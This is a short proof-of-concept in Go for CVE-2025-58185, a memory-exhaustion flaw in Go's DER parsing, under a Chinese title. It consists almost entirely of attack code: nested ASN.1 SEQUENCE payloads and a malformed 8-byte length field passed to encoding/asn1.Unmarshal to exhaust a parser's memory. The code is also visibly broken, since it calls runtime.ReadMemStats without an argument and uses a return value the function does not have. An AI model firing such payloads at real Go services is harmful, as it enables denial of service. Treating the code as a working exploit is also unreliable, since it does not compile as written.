CVE-2025-58185 Go语言DER解析内存耗尽漏洞

// PoC for CVE-2025-58185: Go DER Parsing Memory Exhaustion // This PoC demonstrates memory exhaustion via malicious DER payload package main import ( "encoding/asn1" "fmt" "runtime" ) // Malicious DER payload that triggers memory exhaustion // This creates a deeply nested SEQUENCE structure func generateMaliciousDER() []byte { // ASN.1 structure with deep nesting to trigger memory exhaustion // SEQUENCE { SEQUENCE { SEQUENCE { ... } } } var depth = 1000 var payload []byte // Start with SEQUENCE tag for i := 0; i < depth; i++ { // SEQUENCE tag (0x30) with length field payload = append(payload, 0x30) // Length byte (can be extended for larger allocations) payload = append(payload, 0x82, 0xFF, 0xFF) // Long form length } return payload } func main() { fmt.Println("CVE-2025-58185 PoC - DER Memory Exhaustion") fmt.Printf("Initial memory: %d MB\n", runtime.ReadMemStats().Alloc/1024/1024) maliciousData := generateMaliciousDER() fmt.Printf("Malicious DER payload size: %d bytes\n", len(maliciousData)) // Attempt to parse the malicious DER data var result interface{} _, err := asn1.Unmarshal(maliciousData, &result) if err != nil { fmt.Printf("Parse error (expected): %v\n", err) } fmt.Printf("Memory after parse attempt: %d MB\n", runtime.ReadMemStats().Alloc/1024/1024) // Alternative PoC: Craft DER with oversized length field oversizedDER := []byte{ 0x30, // SEQUENCE tag 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Malformed length } var result2 interface{} asn1.Unmarshal(oversizedDER, &result2) }